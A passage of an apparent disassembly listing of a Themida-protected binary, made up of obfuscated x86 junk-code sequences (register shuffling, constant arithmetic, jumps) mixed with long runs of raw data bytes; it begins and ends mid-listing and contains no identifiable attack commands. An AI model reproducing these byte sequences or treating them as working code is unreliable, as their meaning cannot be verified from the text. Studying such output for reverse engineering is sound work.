1DE2BA24h, 9BE909BFh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549B63: ; CODE XREF: Themida_:00547B4Bj or edx, eax shl edx, 1 push ecx jmp loc_549A7F ; --------------------------------------------------------------------------- db 56h, 0E9h, 0A4h dd 28FFFFF5h, 0F0E8E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B7A: ; CODE XREF: Themida_:00545B71j xchg edx, [esp] pop esp shr ecx, 0Bh push ebp push 2913h mov [esp], eax mov eax, ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54E368 ; --------------------------------------------------------------------------- loc_549B9D: ; CODE XREF: Themida_:00548832j pop esi add esp, 4 mov ebp, [esp] push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp push 0FA2h jmp loc_551231 ; --------------------------------------------------------------------------- dd 4410BD55h, 0EF0146F1h, 0C360E95Dh, 2C89FFFFh, 70BC6824h dd 34FF014Dh, 242C8B24h, 8304C483h, 0D5F704C4h, 0CDA7BB53h dd 0ED812220h, 7BEA641Eh, 0C581DD01h, 7BEA641Eh, 5DEB895Bh dd 9A7FEB81h, 0BAE9C541h, 8100006Ah, 0A33DBEF6h, 5EF28907h dd 29DDE955h, 0B1B90000h, 0C11FE90Bh, 27E906E9h, 59FFFFE2h dd 4C481h, 0EAD00000h, 43E68h, 24048900h, 0EC8011B4h, 0D6E4804Fh dd 4033E9h db 0 ; --------------------------------------------------------------------------- loc_549C45: ; CODE XREF: Themida_:0054977Aj shr esi, 6 jmp loc_54C19E ; --------------------------------------------------------------------------- db 66h, 58h, 0D0h dd 6BB551EAh, 30BFB252h, 0EA305AD5h, 0B184E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C62: ; CODE XREF: Themida_:00545739j sub eax, 3DEF6317h add eax, 79141E25h pop edi push 25ADh mov [esp], eax mov eax, esp jmp loc_548F48 ; --------------------------------------------------------------------------- loc_549C7C: ; CODE XREF: Themida_:0054C50Fj pop edi shl ebp, 8 push eax mov eax, 5120485Ch or ebp, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 2E694BA0h xor ebp, ebx pop ebx xor ebp, 7D1BA3F8h jmp loc_546D41 ; --------------------------------------------------------------------------- dw 5653h dd 266326BEh, 0DEF74E6Dh, 0D102E6C1h, 3E6C1E6h, 0FFE205E9h dd 0C8B70FFFh, 4EFD68h, 240C8900h, 0FFA9DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_549CC9: ; CODE XREF: Themida_:00548F8Bj inc esi jmp loc_54D425 ; --------------------------------------------------------------------------- db 0F7h dd 3E1C1D9h, 7177BA52h, 23E97CA7h, 8300001Ch, 1C3302C3h dd 241C3124h, 8B241C33h, 0FF662424h, 0E99C2404h, 0FFFFA9AFh ; --------------------------------------------------------------------------- loc_549CF8: ; CODE XREF: Themida_:0054F030j pop edx neg ch xor ch, 0CFh push ax mov al, 38h add ch, 27h add ch, al push eax mov ah, 24h neg ah xor ah, 0B2h neg ah push ebx mov bh, 49h jmp loc_54730E ; --------------------------------------------------------------------------- db 0FFh, 34h, 87h dd 0FFA986E9h, 5F5457FFh, 4C781h, 0C7830000h, 243C8704h dd 5661E95Ch, 895C0000h, 0A9682404h, 8900004Ah, 4832424h dd 48B0424h, 0C3E95724h, 89000016h, 74FF2404h, 8F580424h dd 248B2404h, 48B6624h, 59545124h, 74ADBD55h, 0E581273Ah dd 501E1868h, 4EC81h, 3C890000h, 5385BF24h, 0FD316FDBh dd 0C9EE9h, 4C48100h, 1000000h, 1C3358C3h, 241C3124h, 60CEE9h dd 0FFD90100h, 815B2434h, 4C4h, 240C8700h, 6624248Bh, 2404AB0Fh dd 0A8F1E99Ch, 6EBFFFFFh, 47309C14h, 2B6DC781h, 0F7815CCFh dd 0D69525FCh, 3C8BF801h, 4C48124h, 1000000h, 20BA52C8h dd 295BFE1Ah, 0B043E9D0h, 0DA88FFFFh, 0FFDE7BE9h, 0E9D801FFh dd 4EDFh, 24040166h, 0A8ADE99Ch, 6856FFFFh, 24435299h dd 3EEE815Eh, 89BAC75Dh, 0BF95E9F1h, 0EA81FFFFh, 63E83D69h dd 0C281F229h, 63E83D69h, 0A885E95Eh, 3C89FFFFh, 0F13E924h dd 34330000h, 24343124h, 5C243433h, 24048B66h, 4EC81h dd 1C890000h, 0E9E38924h, 0FFFFB0A1h, 24348B58h, 4C481h dd 17E90000h, 5D000029h, 6703E9h, 939BB00h, 0EBC17DAFh dd 69F0E907h, 4BA0000h, 0E9000000h, 0FFFFC41Fh dword_549E74 dd 2B60F66h, 0AF8E956h, 0C2810000h, 4, 2440E9h ; DATA XREF: Themida_:00544414o db 0 ; --------------------------------------------------------------------------- loc_549E89: ; CODE XREF: Themida_:0054C470j popa jmp loc_54F5E0 ; --------------------------------------------------------------------------- db 33h dd 895C240Ch, 0B8E9243Ch, 100001Bh, 22C181E9h, 0E940EF0Fh dd 0FFFFC5A9h, 35E2F681h, 0E82D2429h, 296C7A1Dh, 1DE805F0h dd 348B6C7Ah, 5F545724h, 4C781h, 65E90000h, 87FFFFF4h dd 895C243Ch, 0E3E92414h, 5FFFFC8h, 0DBF92B04h, 73A9C581h dd 0C2E960E8h, 81FFFFC1h, 0C40254E5h, 6E5C10Eh, 0D26CE94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549EF6: ; CODE XREF: Themida_:00549803j sub bl, 0F5h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h db 0C3h byte_549F01 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005443C4o aSt7 db '$éT7',0 align 2 dw 0DBF7h dd 0FD08E951h, 0EF30FFFFh, 31EDE9h, 0D0EA8100h, 0C14D0410h dd 0BE5606EAh, 634B6673h, 5CF5E9h db 0 ; --------------------------------------------------------------------------- loc_549F2D: ; CODE XREF: Themida_:0054860Bj add esp, 4 and eax, ebx pop ebx or eax, eax jz loc_545A63 push dword ptr [edi+1Ch] mov ecx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ecx push 4 jmp loc_544BF5 ; --------------------------------------------------------------------------- db 54h, 5Fh, 0E9h dd 0FFFFD18Bh, 68240481h, 5936FD38h, 3868E981h, 585B36FDh dd 4EC81h, 14890000h, 15DFBA24h, 0D001549Ch, 2DC8015Ah dd 549C15DFh, 55515259h, 0DA5136BDh, 0FE5CE904h, 0EF01FFFFh dd 83242C8Bh, 3C8704C4h, 24248B24h, 1568F9F7h, 89000015h dd 9C502414h, 0FFA6EAE9h, 5C06B8FFh, 29E91788h, 68FFFFE1h dd 1F75h, 52240C89h, 0D188FA88h, 0B8505Ah, 1000000h, 0E90888D0h dd 429Dh, 4C481h, 0E2810000h, 6A366CC7h, 151BF281h, 0F28111DBh dd 9395480h, 575A5F52h, 847EE4BFh, 5FF82979h, 7E6FE005h dd 0E9F82955h, 0FFFFE885h, 8904EC83h, 0ACE92434h, 89000058h dd 0BBBB53E7h, 0F72EBF09h, 30C9E9DBh, 0C6810000h, 1080BC5h dd 3974E9h, 0CD816600h, 32E94931h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A043: ; CODE XREF: Themida_:0054EA83j add eax, 4F58751Ah add eax, ebx sub eax, 4F58751Ah sub eax, 462527CFh jmp loc_546DEF ; --------------------------------------------------------------------------- db 2Dh, 0A0h, 1Ah dd 0BA520200h, 4BE426D3h, 0F5E9D2F7h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A06B: ; CODE XREF: Themida_:0055004Aj sub ebp, 9C121AC5h jmp loc_54475A ; --------------------------------------------------------------------------- dw 8142h dd 0E941A1F2h, 3C78056Ah, 9E90007h, 0F6FFFFA9h, 58E788D4h dd 0E99BCF80h, 5CD1h, 55243C8Bh, 0FFCCBEE9h db 0FFh byte_54A09D db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00544654o dd 0B3535251h, 5BDE8829h, 0E967E680h, 1D50h, 0F9885A66h dd 3CC9805Bh, 4544E9h db 0 ; --------------------------------------------------------------------------- loc_54A0BD: ; CODE XREF: Themida_:0054CAF7j mov [esp], edx jmp loc_547E8E ; --------------------------------------------------------------------------- db 4Dh, 55h, 0F7h dd 0C15D2414h, 0ED8106E5h, 0B0465214h, 5E5DE829h, 0E902C083h dd 1370h, 68243489h, 28B1h, 83242489h, 0E9042404h, 0FFFFD0B4h dd 0C581E589h, 4, 0E904C583h, 5036h ; --------------------------------------------------------------------------- loc_54A104: ; CODE XREF: Themida_:0054789Bj pop edi jmp loc_545877 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFC671h ; --------------------------------------------------------------------------- loc_54A110: ; CODE XREF: Themida_:0054915Ej pop eax push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax push ebp jmp loc_5502A6 ; --------------------------------------------------------------------------- db 66h dd 53240C8Bh, 0C381E389h, 4, 2D78E9h, 5FF90100h, 0FFC075E9h dd 66858FFh, 89000034h, 4BE2434h, 0E9000000h, 495Dh ; --------------------------------------------------------------------------- loc_54A150: ; CODE XREF: Themida_:00545967j push ebx mov ebx, esp push edi jmp loc_5504B7 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0C5815D04h, 4, 2C581h, 43680000h, 0E9000063h, 1825h dd 0F743D3F7h, 0A5BD55DBh, 0D1560A24h, 0FD61E9EDh, 0F740FFFFh dd 21705D8h, 50357B7Fh, 817B7BC5h, 331B5BC3h, 0E9C30153h dd 0FFFFE322h ; --------------------------------------------------------------------------- loc_54A1A0: ; CODE XREF: Themida_:005458D7j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_54A1EB ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 5446853h, 0C890000h, 0A88AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A1D6: ; CODE XREF: Themida_:00545C37j sub edx, 0C14983BDh mov eax, edx pop edx push edi jmp loc_547885 ; --------------------------------------------------------------------------- db 54h, 0E9h, 2Dh db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A1EB: ; CODE XREF: Themida_:0054A1BAj add esp, 4 add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp shr ecx, 6 push ebp mov ebp, ebx push 5F5Eh mov [esp], ebp sub dword ptr [esp], 6A326F07h jmp loc_545F8A ; --------------------------------------------------------------------------- dd 83240C8Bh, 1CE904C4h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A22B: ; CODE XREF: Themida_:0054B295j pop esi or eax, eax jz loc_54B438 sub esp, 4 mov [esp], ebx mov ebx, 1B3F22F5h neg ebx sub esp, 4 mov [esp], edi mov edi, 0A916526h xor ebx, edi pop edi sub ebx, 69EF25DBh jmp loc_54EF9B ; --------------------------------------------------------------------------- loc_54A25A: ; CODE XREF: Themida_:00546988j mov [esp], edx mov edx, 514427B1h add esi, edx pop edx jmp loc_545B57 ; --------------------------------------------------------------------------- loc_54A26A: ; CODE XREF: Themida_:00550CB2j push eax mov eax, 306C5865h shr eax, 8 xor eax, 8B11A1h xor eax, 0BB7DFDh add edx, eax jmp loc_54F213 ; --------------------------------------------------------------------------- loc_54A284: ; CODE XREF: Themida_:00548529j push ebx jmp loc_549084 ; --------------------------------------------------------------------------- dw 0F888h dd 5B58C288h, 88515859h, 876C88D5h, 8B5A5901h, 0C483241Ch dd 0A401E904h db 2 dup(0FFh) word_54A2A6 dw 32FFh ; DATA XREF: Themida_:0054443Co dd offset dword_49005C+2568Dh dd 0E2E48000h, 80DAF480h, 0E62877C4h, 5BF3E9h db 0 ; --------------------------------------------------------------------------- loc_54A2BD: ; CODE XREF: Themida_:0054DE47j add edi, 4 push ebp jmp loc_54C09B ; --------------------------------------------------------------------------- db 5Eh, 29h, 0F0h dd 8904EC83h, 0EAB9240Ch, 8169AC05h, 271532F1h, 0B74DE902h dd 0F287FFFFh, 0B515EA81h, 0D1018239h, 4C1835Ah, 5C240C87h dd 5602C683h, 42474FFh, 0FFEFA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A301: ; CODE XREF: Themida_:005513B2j add bl, al jmp loc_54C7EC ; --------------------------------------------------------------------------- dd 2B8h, 58C30100h, 0E9241C87h, 0FFFFB1C2h, 4EC81h, 0C890000h dd 5E71B924h, 81410071h, 5677DE1h, 66C9810Eh, 812E2922h dd 0F7B9CE9h, 84E1810Eh, 53239123h, 4CE386BBh, 5BD90100h dd 4244C01h, 24040159h, 32BCE9h db 0 ; --------------------------------------------------------------------------- loc_54A355: ; CODE XREF: Themida_:00549314j push ebx mov ebx, esp add ebx, 4 jmp loc_548F0C ; --------------------------------------------------------------------------- db 80h dd 0FDE9C9F2h, 55FFFFDEh, 0A93C4ABDh, 4BED8130h, 0E930A93Ch dd 1DF8h, 0E9240489h, 368Dh, 0CEFED6F6h, 0F605CE80h, 0F6CE80D6h dd 8069EE80h, 0F528C3EDh, 0FFE562E9h, 40E995FFh, 5D00004Dh dd 0F281EAD1h, 3E76B5FDh, 0E95AD321h, 4F1Ah ; --------------------------------------------------------------------------- loc_54A3B4: ; CODE XREF: Themida_:005486FCj mov [esp], ebx xor dword ptr [esp], 419822E1h pop eax push 6D96h mov [esp], ebx push eax mov eax, 60550E1Dh jmp loc_545808 ; --------------------------------------------------------------------------- dw 0D388h dd 0E95BDD88h, 0FFFFA901h ; --------------------------------------------------------------------------- loc_54A3DC: ; CODE XREF: Themida_:00545AD5j mov edi, esi pop esi or edi, 5122431Fh and edi, 20220709h xor edi, 4F7357F7h add ebp, edi pop edi jmp loc_5495D1 ; --------------------------------------------------------------------------- byte_54A3F9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005444DCo dd 0E3895324h, 4BD55h, 0EB010000h, 4EB835Dh, 5C241C87h dd 89241489h, 6B0468E2h, 4890000h, 0E37DE924h, 3C33FFFFh dd 24248B24h, 50241489h, 0A275E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A432: ; CODE XREF: Themida_:005466B9j push 20BEh mov [esp], ebp mov ebp, 1 and eax, ebp jmp loc_54D2A5 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0E955E689h, 0FFFFF11Bh, 4C281h, 14870000h dd 1CE95C24h, 81FFFFE6h, 0B84150CDh, 0ACE58176h, 0C152FC58h dd 0BE5603EDh, 63B665ABh, 79E9F531h, 80FFFFD2h, 0B753A6ECh dd 80CFFEA0h, 0E7D0B1F7h, 3029EF80h, 9E95BFCh, 83FFFFD4h dd 5D042404h, 69D868h, 241C8900h, 9E79E7BBh, 0E3C14B78h dd 0FECB8106h, 4312FD11h, 44CFBD55h, 0DDF75506h, 0E906EDC1h dd 0FFFFAAB1h, 0EF81D7F7h, 4DE87DC7h, 1B6EE9h, 0A30F6600h dd 0E99C2404h, 482Fh, 231CEA81h, 0F201078Eh, 231CC281h dd 0BE56078Eh, 5C845E0h, 783AC681h, 0E6C1576Ah, 11CE8103h dd 81557070h, 7078BEEEh, 5EF229CFh, 8124348Bh, 4C4h, 2C28100h dd 33000000h, 62E92414h, 5800003Eh, 4C9FE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A526: ; CODE XREF: Themida_:005497B0j mov edi, 401849DDh add edi, 0FDB707Dh inc edi add edi, 2AF52FF1h shr edi, 3 push edi add dword ptr [esp], 1 pop edi push ebx mov ebx, 0F5D1D4Bh xor edi, ebx pop ebx mov edx, edi pop edi and eax, edx mov edx, [esp] push 1F2Ch jmp loc_5481AA ; --------------------------------------------------------------------------- dword_54A55C dd 8904EC83h, 7968242Ch, 0E900007Bh, 0E0Fh, 4F77B951h ; DATA XREF: Themida_:00544520o dd 0D1F77DF1h, 0DB85041h, 5635A733h, 108B3BEh, 0FFC6813Bh dd 81FFFFFFh, 0A228BDC6h, 3EEC16Dh, 0E904E6C1h, 0FFFFCCFBh dd 8158C109h, 0FE1D04C1h, 0CBD0E964h, 0E9C1FFFFh, 27C98102h dd 8147045Eh, 90385C1h, 38C18136h, 0E993FA65h, 17h ; --------------------------------------------------------------------------- loc_54A5C0: ; CODE XREF: Themida_:0054760Bj mov bh, 3Fh not bh shr bh, 6 shl bh, 2 jmp loc_549469 ; --------------------------------------------------------------------------- loc_54A5CF: ; CODE XREF: Themida_:0054DC49j sub cl, ah pop eax jmp loc_54E545 ; --------------------------------------------------------------------------- db 89h dd 240C8BCEh, 4604C483h, 38E2CE81h, 0D6F724F8h, 2BA4B850h dd 0E8C12982h, 0F40D4002h, 2D14BE04h, 242C35DEh, 3D160935h dd 6ADFE9B6h, 9BBE0000h, 81386959h, 0F86165EEh, 55B85062h dd 9279D61h, 24048BC6h, 4D83E9h, 0E9D80100h, 522Dh, 2B0068h dd 24048900h, 0BED1E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A636: ; CODE XREF: Themida_:0054D03Bj add esi, 4395BB8h sub esi, 41C9176Ah shr esi, 3 sub esi, 0CFD92379h jmp loc_549767 ; --------------------------------------------------------------------------- loc_54A650: ; CODE XREF: Themida_:0054BD0Aj shr eax, 8 xchg eax, ebx jmp loc_5508A0 ; --------------------------------------------------------------------------- byte_54A659 db 31h, 2Ch, 24h ; DATA XREF: Themida_:00544418o dd 31242C33h, 36E9242Ch, 33FFFFFDh, 248B2414h, 2404D224h dd 0AC51E99Ch, 34FFFFFFh, 0E9575824h, 1A46h ; --------------------------------------------------------------------------- loc_54A680: ; CODE XREF: Themida_:0055079Cj mov ebx, [esp] add esp, 4 sub al, 55h sub al, 64h jmp loc_54EB57 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFDBDAh, 0DFF7DFF7h, 8106E7C1h, 98C1C4F7h, 5FF901EEh dd 0E9505655h, 0FFFFC242h ; --------------------------------------------------------------------------- loc_54A6B0: ; CODE XREF: Themida_:00547BD0j mov esi, esp add esi, 4 sub esi, 4 jmp loc_54B4D2 ; --------------------------------------------------------------------------- db 1 dd 24048BC3h, 4C481h, 0C3290000h, 3825EB81h, 83E913CAh dd 31000060h, 9AE92404h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6E3: ; CODE XREF: Themida_:0054F6B1j pop ecx xchg edx, ebx inc ebx sub ebx, 1 xor ebx, 0DA039219h mov ecx, ebx jmp loc_549A2B ; --------------------------------------------------------------------------- dw 0DEF7h dd 0FFD88CE9h, 4335AFFh, 24043124h, 5C240433h, 0FF9F96E9h dd 0E7815FFFh, 189A30A0h, 0BAF7814Fh, 89182302h, 0D7A6E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A726: ; CODE XREF: Themida_:00546751j mov edi, 23EC391Ch jmp loc_54C507 ; --------------------------------------------------------------------------- dword_54A730 dd 51D831ADh, 0C74EC5B9h, 56D1F71Ch, 875625BEh, 0C1D6F745h ; DATA XREF: Themida_:005445B0o dd 0E6C104EEh, 5E6C102h, 0B181C681h, 98E92C3Ah, 8100002Fh dd 4ECh, 242C8900h, 215E31BDh, 6A836854h, 0C890000h, 9CBB5324h dd 0C12C3135h, 0EB8102EBh, 360D0CBAh, 8107E3C1h, 9E7C70F3h dd 30EB814Eh, 89B2AAB2h, 0ED815BD9h, 58617E1Eh, 0C581CD01h dd 58617E1Eh, 81240C8Bh, 4C4h, 31DD3100h, 0F370E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A7AE: ; CODE XREF: Themida_:005504C0j mov ebp, 2 add ebx, ebp pop ebp jmp loc_54E0DF ; --------------------------------------------------------------------------- byte_54A7BB db 66h ; DATA XREF: Themida_:005444ECo dd 6824048Bh, 4F7Bh, 2ECCE9h, 0FEC6FE00h, 9DEE80CEh, 0EE80DEF6h dd 0A02C6Bh, 627AE9F0h, 148B0000h, 4C48124h, 83000000h dd 51E904C4h, 0BEFFFFA2h, 557E6FE0h, 1906E9h, 5DEF0100h dd 0FFF1ADE9h, 0E9C15AFFh, 0AEF6E908h, 0E952FFFFh, 1F69h dd 1140C781h, 8FE91D81h, 50FFFFE3h, 0C589C889h, 0FFB118E9h dd 0E9F229FFh, 6B51h, 0C0C8F180h, 0D1F607E9h, 282FC180h dd 0A595E9C8h, 814DFFFFh, 74CACDC5h, 11E58115h, 0E922D302h dd 5255h, 4C481h, 0E9500000h, 14DDh, 990B850h, 6C2D33E2h dd 0D4FD103h, 41D54AEh, 7B625D25h, 264E3574h, 44053BEDh dd 0E9C9C9F7h, 0FFFFEA99h dword_54A880 dd 9D1C77FFh, 24041958h, 9E19E99Ch, 14E9FFFFh, 57FFFF9Eh ; DATA XREF: Themida_:005444ACo dd 0C781E789h, 4, 0CA82E952h, 3489FFFFh, 2474FF24h, 58E95E04h dd 81000048h, 4C7h, 243C8700h, 0E789575Ch, 4B850h, 0C7010000h dd 8124048Bh, 4C4h, 4C78300h, 8B243C87h, 0AF0F2424h, 0E99C51C8h dd 43EAh ; --------------------------------------------------------------------------- loc_54A8E0: ; CODE XREF: Themida_:00550195j push ebp mov ebp, ebx jmp loc_54BBCC ; --------------------------------------------------------------------------- dd 885BF988h, 0C58859C8h, 2434FF58h, 4C4815Ah, 30000000h dd 240C8BE8h, 0FFF41CE9h, 0CF81FFh, 815A9F0Dh, 689D85C7h dd 8BFD89C6h, 0E955243Ch, 11CFh ; --------------------------------------------------------------------------- loc_54A91C: ; CODE XREF: Themida_:0054E496j push 26B2703Eh pop edi dec edi push ecx mov ecx, 5C5C7441h not ecx or ecx, 31897487h not ecx jmp loc_54B191 ; --------------------------------------------------------------------------- dd 0FF9D6AE9h, 5FFA01FFh, 0FFDA6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A945: ; CODE XREF: Themida_:005483AEj mov edi, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_545F4B ; --------------------------------------------------------------------------- dd 4B9h, 59CF0100h, 31243C33h, 3C33243Ch, 3CE95C24h, 88FFFF9Dh dd 0EC8858E5h, 22A1E959h, 0E6890000h, 4C681h, 0EE830000h dd 0F68EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A986: ; CODE XREF: Themida_:0054FDF2j add eax, 4 jmp loc_5474B5 ; --------------------------------------------------------------------------- dd 141DEE81h, 60E93E38h, 1FFFFC8h, 0EB815FFBh, 4, 0FFE5FDE9h dd 240C8BFFh, 1AC3E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9B2: ; CODE XREF: Themida_:0054F5EDj push ecx push edx mov dh, 42h xor dh, 0FEh or dh, 0EFh sub dh, 0D4h neg dh add dh, 84h mov ch, dh pop edx push ecx dec byte ptr [esp+1] pop ecx neg ch xor ch, 64h shl ch, 6 or ch, 0 xor ch, 0E5h add al, ch pop ecx jmp loc_547604 ; --------------------------------------------------------------------------- db 0C1h dd 0E5C106EDh, 0BFE58107h, 5613D137h, 0A74B7FBEh, 46DEF735h dd 0C670C681h, 35E976ACh, 50FFFFC7h, 405E089h, 83000000h dd 3E904C0h, 58FFFFA0h, 48DED81h, 6F214D27h, 84E95D1Ch dd 8BFFFF9Ch, 0C481243Ch, 4, 8106EDC1h, 0B7723F5h, 50DDF767h dd 4B6730B8h, 3FF8E903h, 50520000h, 0C2880BB0h, 24D4E958h dd 48BE0000h, 0C1342E38h, 0E68108EEh, 15F16BA1h, 8102EEC1h dd 774378EEh, 95F68174h, 811EA250h, 369787F6h, 0A08CE995h dd 489FFFFh, 2474FF24h, 48F5804h, 24248B24h, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54EB00 ; --------------------------------------------------------------------------- dd 0E9243489h, 0FFFFABB7h ; --------------------------------------------------------------------------- loc_54AA98: ; CODE XREF: Themida_:0054E68Bj add ebp, 0FFFFFFFFh shl ebp, 2 add ebp, 1F006734h sub ebp, 5794236Bh push ecx push ebp jmp loc_54D340 ; --------------------------------------------------------------------------- byte_54AAB1 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005445BCo dd 68126866h, 24148966h, 0F636B753h, 4B41E9DFh, 0E9590000h dd 1C42h, 66BAED81h, 0E8016C6Fh, 0FFE97BE9h, 665B66FFh dd 2D66D801h, 66550297h, 664FEDBDh, 19B4C581h, 5CFEE9h dd 29C68100h, 815DBF76h, 0BAD3A4EEh, 5EF78943h, 248C68h dd 24148900h, 0E234CFBAh, 3DF28145h, 294EAE57h, 879E9D7h db 2 dup(0) word_54AB1A dw 48Bh ; DATA XREF: Themida_:0054454Co dd 0E6895624h, 4C681h, 89500000h, 405E0h, 0BF570000h, 4 dd 875FF829h, 895C2404h, 6ABA2414h, 0E9136D7Dh, 560h, 4EC815Eh dd 89000000h, 54572404h, 4C7815Fh, 83000000h, 0FF5704EFh dd 5F042474h, 5C24048Fh, 24048F54h, 38EDE9h db 0 ; --------------------------------------------------------------------------- loc_54AB71: ; CODE XREF: Themida_:00550D0Ej pop ebp push ebx push 0AB04EABh pop ebx sub ebx, 0F14D2224h and ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 6C023B8Ah xor ebp, ecx jmp loc_54FD55 ; --------------------------------------------------------------------------- db 30h dd 0C0B60FC3h, 0A6468h, 241C8900h, 0C381E389h, 4, 3292BE56h dd 0BF572C9Fh, 3F6F3FB5h, 6AE9FE01h, 80FFFFBFh, 0FE00DBF7h dd 17EE805Bh, 28E0EF80h, 0B45066F7h, 0DDDEE9E0h, 459FFFFh dd 0E9DB0479h, 3825h, 0E958C789h, 454Ah, 241C895Ch, 4EC81h dd 24890000h, 24048124h, 4, 83241C8Bh, 0C38104C4h, 4, 0FFF0D2E9h dd 60F168FFh, 24890000h, 0F87DE924h, 525FFFFFh, 71BB6857h dd 0E4E90B6Fh, 6800003Eh, 19A6h, 89240489h, 405E0h, 0BB530000h dd 4, 875BD829h, 895C2404h, 74FF242Ch, 2C8B0424h, 2009E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AC52: ; CODE XREF: Themida_:00545139j mov [esp], edx mov edx, 2A3825CDh push ecx mov ecx, 313C20E2h and edx, ecx mov ecx, [esp] add esp, 4 inc edx neg edx push ebx push edx mov edx, 7859037Fh jmp loc_54B7D1 ; --------------------------------------------------------------------------- db 31h dd 2AF8E9DEh, 895C0000h, 0B951242Ch, 5AD922B8h, 0D922BCBDh dd 59CD315Ah, 37A6EB81h, 0EB294FEAh, 37A6C381h, 335D4FEAh dd 1C31241Ch, 9A9DE924h, 0CD2FFFFh, 0F4E99C24h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ACB3: ; CODE XREF: Themida_:00545C48j xor dword ptr [esp], 2D9D2D87h pop ebp xor ebp, 2D9D2D87h jmp loc_54F586 ; --------------------------------------------------------------------------- aBQ3zjqLRasy db 'Æq3‡jQ¹‹|RaéY',0Bh,0 dw 4200h dd 5375C281h, 0EC835334h, 240C8904h, 5DA6B850h, 0C1403E97h dd 213502E8h, 517EAE38h, 0A07E5BB9h, 0C1D9F70Ch, 0E98102E1h dd 0B094D490h, 0CEE9C829h, 29FFFFBEh, 83BD55D8h, 2949807Ch dd 0EC835DE8h, 6189E904h db 2 dup(0) word_54AD1E dw 8B66h ; DATA XREF: Themida_:005445E4o dd 0E955240Ch, 0FFFFD87Bh ; --------------------------------------------------------------------------- loc_54AD28: ; CODE XREF: Themida_:005455B7j mov eax, 60E9609Eh neg eax jmp loc_54678F ; --------------------------------------------------------------------------- dd 5A66F528h, 16E9h, 6D1DBF00h, 97E97D0Ch, 5BFFFFB2h, 8B24048Fh dd 0A8E92424h, 2C00003Ah, 4E828FAh, 0FC4BE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD5E: ; CODE XREF: Themida_:00544930j mov ecx, 52E77D6Ch neg ecx jmp loc_545E4D ; --------------------------------------------------------------------------- dw 0EA81h dd 3D51220Ch, 0E8A5F281h, 0D731FEC3h, 5FFB015Ah, 0EB81FB01h dd 1FAB55EFh, 795BA52h, 38E9214Eh db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD8F: ; CODE XREF: Themida_:005506C0j mov esi, 5592571Dh add esi, 0AA6DA8E7h add edx, esi pop esi push esi jmp loc_54C56C ; --------------------------------------------------------------------------- db 83h dd 0C68104C4h, 2, 0A91EE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ADB2: ; CODE XREF: Themida_:00548339j sub ebp, 1 shl ebp, 1 or ebp, 7376189Dh shl ebp, 8 or ebp, 22F14E36h xor ebp, 64FD8979h sub eax, ebp pop ebp push 645Dh mov [esp], ebp mov ebp, 79DF0944h push ebp xchg esi, [esp] not esi xchg esi, [esp] pop ebp add ebp, 79DF0B45h jmp loc_550B77 ; --------------------------------------------------------------------------- byte_54ADF1 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:005445F0o dd 4EC8350h, 24048F54h, 7CE068h, 24148900h, 4BAh, 24448100h dd 17605004h, 60C7E942h, 0AE680000h, 89000016h, 0E589242Ch dd 0A685056h, 5809D732h, 490EE9h, 0E9C20000h, 0FFFFCA1Fh dd 0C752D3BBh, 0F336E962h, 0E289FFFFh, 4C281h, 0C2810000h dd 4, 27F3E9h db 0 ; --------------------------------------------------------------------------- loc_54AE51: ; CODE XREF: Themida_:0054C8FBj mov ebx, 39456FFEh neg ebx xor ebx, 0B400D95Dh sub esi, ebx pop ebx sub esi, ecx loc_54AE63: ; DATA XREF: Themida_:0055E388o add esi, 72BA495Fh pop ecx xchg esi, [esp] pop esp mov [esp], cx jmp loc_5446A7 ; --------------------------------------------------------------------------- loc_54AE77: ; CODE XREF: Themida_:0054DDECj not esi sub esi, 